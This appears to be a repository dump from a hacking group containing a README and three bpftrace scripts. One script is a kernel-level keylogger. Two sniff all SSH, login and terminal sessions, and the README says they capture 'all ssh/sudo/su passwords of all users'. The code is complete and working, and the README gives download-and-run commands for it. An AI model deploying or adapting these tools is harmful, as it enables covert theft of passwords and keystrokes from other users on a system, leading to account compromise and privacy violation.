[
  {
    "path": "README.md",
    "content": "# eBPF tools\n\nA (short) collecton of eBPF enabled tools (need root privileges to run);\n\nPrerequisite: Install the latest bpftrace tool:\n```console\ncurl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace\nchmod 755 bpftrace\n```\n\n## Project #1 - Sniff all ssh/login/xterm session:\n\nRecord all PTY sessions and sniffs all ssh/sudo/su passwords of all users.\n\n```console\ncurl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt\nexport BPFTRACE_MAX_STRLEN=200\n./bpftrace -Bnone ptysnoop.bt\n```\n<p align=\"center\">\n<img width=\"675\" alt=\"ptysnoop\" src=\"https://github.com/hackerschoice/bpfhacks/assets/5938498/de068ae5-9cea-44fc-83a6-56e4d37dee93\">\n</p>\n\nTools by others: [SSHLog](https://ebpf.io/applications/#sshlog).\n\n## Project #2 - Keylogger:\n\nRecord all keys pressed on the keyboard:\n\n```console\n./bpftrace -Bnone keylogger.bt\n```\n<p align=\"center\">\n<img alt=\"keuylogger\" src=\"https://github.com/hackerschoice/bpfhacks/assets/5938498/2d9d90bf-497d-4cc7-9583-5b8c162231b6\">\n</p>\n\n## TIPS & TRICKS\n\nIt may complain about missing Linux Kernel header files. Download them to a local directory:\n```sh\nwget https://debian.sipwise.com/debian-security/pool/main/l/linux/linux-headers-...\ndpkg-deb -xv linux-headers-*.deb \"$(pwd)\"\nexport BPFTRACE_KERNEL_SOURCE=\"$(echo \"$(pwd)/usr/src/linux-headers-\"*)\"\nsed '/generated\\/autoconf.h/d' -i \"${BPFTRACE_KERNEL_SOURCE}/include/linux/kconfig.h\"\n```\n\nCheck for BPF support in the Kernel (it is enabled by default):\n```sh\ngrep CONFIG_BPF /boot/config-$(uname -r)\n```\n\n\n"
  },
  {
    "path": "keylogger.bt",
    "content": "#! /usr/bin/env bpftrace\n\n/*\n * Record keys pressed on a keyboard.\n * (Based on https://github.com/willfindlay/bpf-keylogger but as bpftrace)\n *\n * Usage:\n *   curl -o bpftrace -fL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace\n *   chmod 755 bpftrace\n *   ./bpftrace -Bnone keylogger.bt\n *\n * Note:\n * - This tool reads the KEY-NUMBER (!) and not the ASCII CODE.\n *   The KEY-NUMBER needs to be transposed to get the actual ASCII\n *   CHARACTER. Transposition is done using US-Keyboard layout.\n *   Check with 'localectl status' or 'cat /etc/default/keyboard'\n * - Needs an actual keyboard. Won't work on remote VNC sessions.\n */\n\nBEGIN\n{\n    // https://github.com/torvalds/linux/blob/master/include/uapi/linux/input-event-codes.h\n    printf(\"Keyboard mapping: US-Keyboard\\n\");\n    time(\"[%F %H:%M:%S] \");\n\n    @keys[2] = 0x31;  // 1\n    @keys[3] = 0x32;  // 2\n    @keys[4] = 0x33;  // 3\n    @keys[5] = 0x34;  // 4\n    @keys[6] = 0x35;  // 5\n    @keys[7] = 0x36;  // 6\n    @keys[8] = 0x37;  // 7\n    @keys[9] = 0x38;  // 8\n    @keys[10] = 0x39; // 9\n    @keys[11] = 0x30; // 0\n    @keys[12] = 0x2d; // -\n    @keys[13] = 0x3d; // =\n\n    @keys[30] = 0x41 + 32; // A\n    @keys[48] = 0x42 + 32; // B\n    @keys[46] = 0x43 + 32; // C\n    @keys[32] = 0x44 + 32; // D\n    @keys[18] = 0x45 + 32; // E\n    @keys[33] = 0x46 + 32; // F\n    @keys[34] = 0x47 + 32; // G\n    @keys[35] = 0x48 + 32; // H\n    @keys[23] = 0x49 + 32; // I\n    @keys[36] = 0x4A + 32; // J\n    @keys[37] = 0x4B + 32; // K\n    @keys[38] = 0x4C + 32; // L\n    @keys[50] = 0x4D + 32; // M\n    @keys[49] = 0x4E + 32; // N\n    @keys[24] = 0x4F + 32; // O\n    @keys[25] = 0x50 + 32; // P\n    @keys[16] = 0x51 + 32; // Q\n    @keys[19] = 0x52 + 32; // R\n    @keys[31] = 0x53 + 32; // S\n    @keys[20] = 0x54 + 32; // T\n    @keys[22] = 0x55 + 32; // U\n    @keys[47] = 0x56 + 32; // V\n    @keys[17] = 0x57 + 32; // W\n    @keys[45] = 0x58 + 32; // X\n    @keys[21] = 0x59 + 32; // Y\n    @keys[44] = 0x5a + 32; // Z\n\n    @keys[26] = 0x5b; // {\n    @keys[27] = 0x5d; // }\n\n    @keys[39] = 0x3b; // ;\n    @keys[40] = 0x27; // '\n    @keys[41] = 0x60; // `\n    @keys[43] = 0x5c; // \\\n    @keys[51] = 0x2c; // ,\n    @keys[52] = 0x2e; // .\n    @keys[53] = 0x2f; // /\n    @keys[55] = 0x2a; // *\n    @keys[57] = 0x20; // ' '\n\n    @sk[41] = 0x7e; // ~\n    @sk[2] = 0x21; // !\n    @sk[3] = 0x40; // @\n    @sk[4] = 0x23; // #\n    @sk[5] = 0x24; // $\n    @sk[6] = 0x25; // %\n    @sk[7] = 0x5e; // ^\n    @sk[8] = 0x26; // &\n    @sk[9] = 0x2a; // *\n    @sk[10] = 0x28; // (\n    @sk[11] = 0x29; // )\n    @sk[12] = 0x5f; // _\n    @sk[13] = 0x2b; // +\n\n    @sk[26] = 0x7b; // {\n    @sk[27] = 0x7d; // }\n    @sk[42] = 0x7c; // | \n\n    @sk[51] = 0x3c; // <\n    @sk[52] = 0x3e; // >\n    @sk[53] = 0x3f; // ?\n    @is_shift = 0;\n}\n\nEND\n{\n    clear(@keys);\n    clear(@sk);\n    clear(@is_shift);\n    clear(@is_ctrl);\n    clear(@is_alt);\n}\n\n// int kprobe__input_handle_event(struct pt_regs *ctx, struct input_dev *dev,\n//                   unsigned int type, unsigned int code, int value)\nkprobe:input_handle_event\n/arg2 == 3 && arg3 > 0 && arg3 < 256/\n{\n    $type = arg2;\n    $code = arg3;\n\n    if ($code == 42 || $code == 54) {\n        // Shift PRESSED [down]\n        @is_shift = 1;\n        return;\n    }\n    if ($code == (uint64)(128 + 42) || $code == (uint64)(128 + 54)) {\n        // Shift RELEASED [up]\n        @is_shift = 0;\n        return;\n    }\n\n    if ($code == 0x1d) {\n        @is_ctrl = 1;\n        return;\n    }    \n    if ($code == (uint64)(128 + 0x1d)) {\n        @is_ctrl = 0;\n        return;\n    }\n\n    if ($code == 0x38) {\n        @is_alt = 1;\n        return;\n    }\n    if ($code == (uint64)(128 + 0x38)) {\n        @is_alt = 0;\n        return;\n    }\n\n    if ($code <= 1 || $code >= 128) {\n        // Ignore 0 and ESC\n        // Ignore Key-Event-UP [ >=128]\n        return;\n    }\n\n    if ($code == 28) { // ENTER\n        printf(\"\\n\");\n        time(\"[%F %H:%M:%S] \");\n        return;\n    }\n    if ($code == 0x3a) {\n        printf(\"[CAPS-LOCK]\");\n        return;\n    }\n\n    $c = @keys[$code];\n    if (@is_shift == 1 && @is_ctrl == 0 && @is_alt == 0) {\n        if ($c >= 0x41+32 && $c <= 0x5a+32) {\n            $c -= 32; // Convert a-z => A-Z\n            @is_shift = 0;\n        } else {\n            $SC = @sk[$code];\n            if ($SC > 0) {\n                $c = $SC;\n                @is_shift = 0;\n            }\n        }\n    }\n\n    if (@is_shift == 1 || @is_ctrl == 1 || @is_alt == 1) {\n        printf(\"[\");\n        $close = 1;\n    }\n    if (@is_shift == 1) { printf(\"SHIFT+\"); }\n    if (@is_ctrl == 1) { printf(\"CTRL+\"); }\n    if (@is_alt == 1) { printf(\"ALT+\"); }\n\n    if ($c != 0) {\n        printf(\"%c\", $c);\n    } else {\n        if ($code == 0x0e) {\n            if ($close == 0) {\n                printf(\"[DEL]\");\n            } else {\n                printf(\"DEL\");\n            }\n        } else {\n            printf(\"[0x%02x]\", $code);\n        }\n    }\n    if ($close == 1) {\n        printf(\"]\");\n    }\n}\n"
  },
  {
    "path": "ptysnoop.bt",
    "content": "#! /usr/bin/env bpftrace\n\n/*\n * bpftrace -B none ./ptysnoop.bt [Options] [PTY number]...\n *\n * Options:\n *   31336   - Do not display the help screens\n *   99999   - Sniff ALL PTY (except screen & tmux). Default is to log only sshd, login and term.\n *             Be warned, this will likely sniff YOUR session as well.\n *\n * Example 1 - Snoop on sshd, login and xterms (running and new sessions):\n *   BPFTRACE_MAX_STRLEN=200 bpftrace -Bnone ./ptysnoop.bt\n *\n * Example 2 - Snoop on ALL but not screen or tmux:\n *   BPFTRACE_MAX_STRLEN=200 bpftrace -Bnone ./ptysnoop.bt 9999\n *\n * Example 3 - Snoop on /dev/pty/0, ... /dev/pty/3:\n *   BPFTRACE_MAX_STRLEN=200 bpfrace -Bnone 0 1 2 3\n *\n * Limitations:\n *  - The buffer may contain \\x0d in the middle and it wont translate to \\n.\n */\n\nBEGIN\n{\n    @last_special = 0x0d;\n\n    // bpf cant mix integer and string command line options. It's a fiddle...\n    if ($1 != 31336 && $2 != 31336) {\n        printf(\"🦋 \\x1b[0;33mTIP: Nicefy the output:\\n\");\n        printf(\"\\x1b[0;36mbpftrace -Bnone ptysnoop.bt 31336 | sed -Eu -e 's/\\\\\\\\x0a\\\\\\\\x0d|\\\\\\\\x0d/\\\\n| /g' -e 's/\\\\\\\\x1b\\\\[[0-9;><?]*[a-zA-Z~]|\\\\\\\\x1bO[ABCD]//g' -e 's/(\\\\\\\\x[0-9a-f]{2})+//g' -e 's/(\\\\\\\\[dt])+/\\\\1/g'\\x1b[0m\\n\");\n        printf(\"-----\\n\");\n    }\n    if ($# == 0) { return; }\n\n    if ($1 == 99999 || $2 == 99999) {\n        @is_all = 1;\n        return;\n    }\n    if ($# == 1 && $1 == 31336) { return; }\n    if ($# == 2 && $2 == 31336) { return; }\n\n    @is_tty_snoop = 1;\n    if ($# >= 1 && $1 != 31336 && $2 != 99999) { @all_tty[$1] = 1; }\n    if ($# >= 2 && $1 != 31336 && $2 != 99999) { @all_tty[$2] = 1; }\n    if ($# >= 3) { @all_tty[$3] = 1; }\n    if ($# >= 4) { @all_tty[$4] = 1; }\n    if ($# >= 5) { @all_tty[$5] = 1; }\n    if ($# >= 6) { @all_tty[$6] = 1; }\n    if ($# >= 7) { @all_tty[$7] = 1; }\n    if ($# >= 8) { @all_tty[$8] = 1; }\n    if ($# >= 9) { @all_tty[$9] = 1; }\n    if ($# >= 10) { @all_tty[$10] = 1; }\n    if ($# >= 11) { @all_tty[$11] = 1; }\n    if ($# >= 12) { @all_tty[$12] = 1; }\n}\n\nEND\n{\n    if ($1 != 31336 && $2 != 31336) {\n        printf(\"\\n😘 \\x1b[0;33mYou may want to nicefy a log like so:\\n\");\n        printf(\"\\x1b[0;36mcat x.log | sed -E -e 's/\\\\\\\\x0a\\\\\\\\x0d|\\\\\\\\x0d/\\\\n| /g' -e 's/\\\\x1b\\\\[[0-9;]*m|\\\\\\\\x1b\\\\[[0-9;><?]*[a-zA-Z~]|\\\\\\\\x1bO[ABCD]//g' -e 's/(\\\\\\\\x[0-9a-f]{2})+//g' -e 's/(\\\\\\\\[dt])+/\\\\1/g'\");\n        printf(\"\\x1b[0m\\n-----\\n\\x1b[1;37mJoin us - https://thc.org/ops\\x1b[0m\");\n    }\n    delete(@last_special);\n    delete(@last_id);\n    delete(@is_tty_snoop);\n    delete(@color);\n    delete(@is_all);\n    clear(@all_tty);\n}\n\nkfunc:pty_write\n/args->tty->count == 1/              // only master TTY\n{\n    if (@is_all) {\n        if (strcontains(comm, \"tmux\") == 1) { return; }\n        if (comm == \"screen\") { return; }\n    } else {\n        if (@is_tty_snoop > 0) {\n            if (@all_tty[args->tty->index] == 0) { return; }\n        } else {\n            if (comm == \"sshd\") { $hit = 1; }\n            if ($hit == 0 && strcontains(comm, \"term\") == 1) { $hit = 1; }\n            if ($hit == 0 && comm == \"login\") { $hit = 1; }\n            if ($hit == 0) { return; }\n        }\n    }\n\n    $b = args->buf;\n    $len = args->c;\n\n    $last_id = @last_id;\n    $this_id = (uint64)args->tty;\n\n    // Do not output Arrow-UP/DOWN\n    if ($len == 3 && $b[0] == 0x1b) { return; }\n\n    $special = 0;\n    if ($len == 1) {\n        // Special character. Only output ONCE\n        if ($b[0] < 0x20 || $b[0] > 0x7e) {\n            $special = $b[0];\n        }\n    }\n\n    if ($last_id != $this_id) {\n        // PID has changed\n        // Don't output if the user just presses enter or other special single input.\n        if ($special > 0) { return; }\n        // Go to new line unless we are already on a new line.\n        if (@last_special != 0x0d) { printf(\"\\n\"); }\n        @color = (uint64)args->tty->index % 6 + 1;\n        printf(\"\\x1b[0m>>>> \\x1b[0;33m%s\\x1b[0m %d /dev/pty/%d (uid=%d):\\n\\x1b[0;3%dm\", comm, pid, args->tty->index, uid, @color);\n        \n        // Record a successful switch to new prompt\n        @last_id = $this_id;\n        @last_special = 0x0d;\n    }\n\n    if ($special > 0) {\n        // Only output special characters ONCE.\n        if (@last_special == $special) { return; }\n        // Never output if at the beginning of a new line\n        if (@last_special == 0x0d) { return; }\n\n        if ($special == 0x08 || $special == 0x7f) {\n            printf(\"\\x1b[0;2m\\\\d\\x1b[0;3%dm\", @color);  // DEL\n        } else if ($special == 0x09) {\n            printf(\"\\x1b[0;2m\\\\t\\x1b[0;3%dm\", @color);  // TAB\n        } else if ($special == 0x0d) {\n            printf(\"\\n\");\n        }\n        @last_special = $special;\n        return;\n    }\n    if (@last_special == 0x0d) { printf(\"| \"); }\n    @last_special = 0;\n\n    printf(\"%r\", buf($b, $len));\n}    \n"
  },
  {
    "path": "ptysnoop_linux_old.bt",
    "content": "#! /usr/bin/env bpftrace\n/*\n * Use this for OLD Linux pre 5.15.\n *\n * BPFTRACE_STRLEN=200 bpftrace -B none --no-warnings ./ptysnoop_linux_old.bt <PID> <PTY's FD>\n *\n * Limitations:\n *   - Max FD for ptmx < 64.\n *   - Not working for PTY's spawned via docker.\n *   - You may need to delete the sys_enter_writev part below (for very old Linux systems)\n */\n\n/*\n TODO:\n - close function must delete (@fds\n */\nBEGIN\n{\n    @last_special = 0x0d;\n\n    if ($2 == 0) { return; }\n\n    @is_tty_snoop = 1;\n    if ($# >= 2) { @fds[$1, $2] = (uint64)$2; }\n    if ($# >= 4) { @fds[$3, $4] = (uint64)$4; }\n    if ($# >= 6) { @fds[$5, $6] = (uint64)$6; }\n    if ($# >= 8) { @fds[$7, $8] = (uint64)$8; }\n}\n\nEND\n{\n    delete(@last_id);\n    delete(@last_special);\n    delete(@is_tty_snoop);\n    clear(@fds);\n}\n\ntracepoint:syscalls:sys_enter_openat,tracepoint:syscalls:sys_enter_open\n/$1 == 0/\n{\n    if (str(args->filename) != \"/dev/ptmx\") { return; }\n    if (@is_tty_snoop > 0) { return; }\n\n    if (comm == \"sshd\") { $hit = 1; }\n    if ($hit == 0 && strcontains(comm, \"term\") == 1) { $hit = 1; }\n    if ($hit == 0 && comm == \"login\") { $hit = 1; }\n    if ($hit == 0) { return; }\n    @is_ptmx[pid] = pid;\n}\n\ntracepoint:syscalls:sys_exit_openat,tracepoint:syscalls:sys_exit_open\n/$1 == 0 && args->ret >= 0 && args->ret < 64/\n{\n    if (@is_ptmx[pid] == 0) { return; }\n    delete(@is_ptmx[pid]);\n\n    @fds[pid, args->ret] = (uint64)args->ret;\n}\n\ntracepoint:syscalls:sys_enter_close\n/$1 == 0 && args->fd >= 0 && args->fd < 64/\n{\n    delete(@fds[pid, args->fd]);\n}\n\n\ntracepoint:sched:sched_process_exit\n/$1 == 0/\n{\n    $i = 0;\n    unroll(64) {\n        delete(@fds[pid, $i]);\n        $i += 1;\n    }\n}\n\ntracepoint:syscalls:sys_enter_write,\n/args->count > 0 && args->fd > 0/\n{\n    if (@fds[pid, args->fd]  == 0) { return; }\n\n    $b = args->buf;\n    $len = args->count;\n\n    // -----START IDENDICAL COPY FOR WRITEV-----\n    $last_id = @last_id;\n    $this_id = pid * 64 + args->fd;\n\n    // Do not output Arrow-UP/DOWN\n    if ($len == 3 && $b[0] == 0x1b) { return; }\n\n    $special = 0;\n    if ($len == 1) {\n        // Special character. Only output ONCE\n        if ($b[0] < 0x20 || $b[0] > 0x7e) {\n            $special = $b[0];\n        }\n    }\n\n    if ($last_id != $this_id) {\n        // PID has changed\n        if (@last_special != 0x0d) { printf(\"\\n\"); }\n\t\tprintf(\">>>> \\x1b[0;33m%d\\x1b[0m %s (uid=%d):\\n\", pid, comm, uid);\n        @last_id = $this_id;\n        @last_special = 0;\n    }\n\n    if ($special > 0) {\n        // Only output special characters ONCE.\n        if (@last_special == $special) { return; }\n        // Never output if at the beginning of a new line\n        if (@last_special == 0x0d) { return; }\n\n        if ($special == 0x08 || $special == 0x7f) {\n            printf(\"\\x1b[2m\\\\d\\x1b[0m\");  // DEL\n        } else if ($special == 0x09) {\n            printf(\"\\x1b[2m\\\\t\\x1b[0m\");  // TAB\n        } else if ($special == 0x0d) {\n            printf(\"\\n\");\n        }\n        @last_special = $special;\n        return;\n    }\n    @last_special = 0;\n\n    printf(\"%r\", buf($b, $len));\n    // -----END IDENTICAL COPY FOR WRITEV-----\n}\n\n\n//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n// DELETE ALL BELOW HERE FOR VERY OLD LINUX SYSTEMS\n//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\ntracepoint:syscalls:sys_enter_writev\n/args->vlen > 0/\n{\n    if (@fds[pid, args->fd] == 0) { return; }\n\n    $b = (uint8 *)args->vec[0].iov_base;\n    $len = args->vec[0].iov_len;\n\n    // -----START IDENDICAL COPY FOR WRITEV-----\n    $last_id = @last_id;\n    $this_id = pid * 64 + args->fd;\n\n    // Do not output Arrow-UP/DOWN\n    if ($len == 3 && $b[0] == 0x1b) { return; }\n\n    $special = 0;\n    if ($len == 1) {\n        // Special character. Only output ONCE\n        if ($b[0] < 0x20 || $b[0] > 0x7e) {\n            $special = $b[0];\n        }\n    }\n\n    if ($last_id != $this_id) {\n        // PID has changed\n        if (@last_special != 0x0d) { printf(\"\\n\"); }\n\t\tprintf(\">>>> \\x1b[0;33m%d\\x1b[0m %s (uid=%d):\\n\", pid, comm, uid);\n        @last_id = $this_id;\n        @last_special = 0;\n    }\n\n    if ($special > 0) {\n        // Only output special characters ONCE.\n        if (@last_special == $special) { return; }\n        // Never output if at the beginning of a new line\n        if (@last_special == 0x0d) { return; }\n\n        if ($special == 0x08 || $special == 0x7f) {\n            printf(\"\\x1b[2m\\\\d\\x1b[0m\");  // DEL\n        } else if ($special == 0x09) {\n            printf(\"\\x1b[2m\\\\t\\x1b[0m\");  // TAB\n        } else if ($special == 0x0d) {\n            printf(\"\\n\");\n        }\n        @last_special = $special;\n        return;\n    }\n    @last_special = 0;\n\n    printf(\"%r\", buf($b, $len));\n    // -----END IDENTICAL COPY FOR WRITEV-----\n}\n\n"
  }
]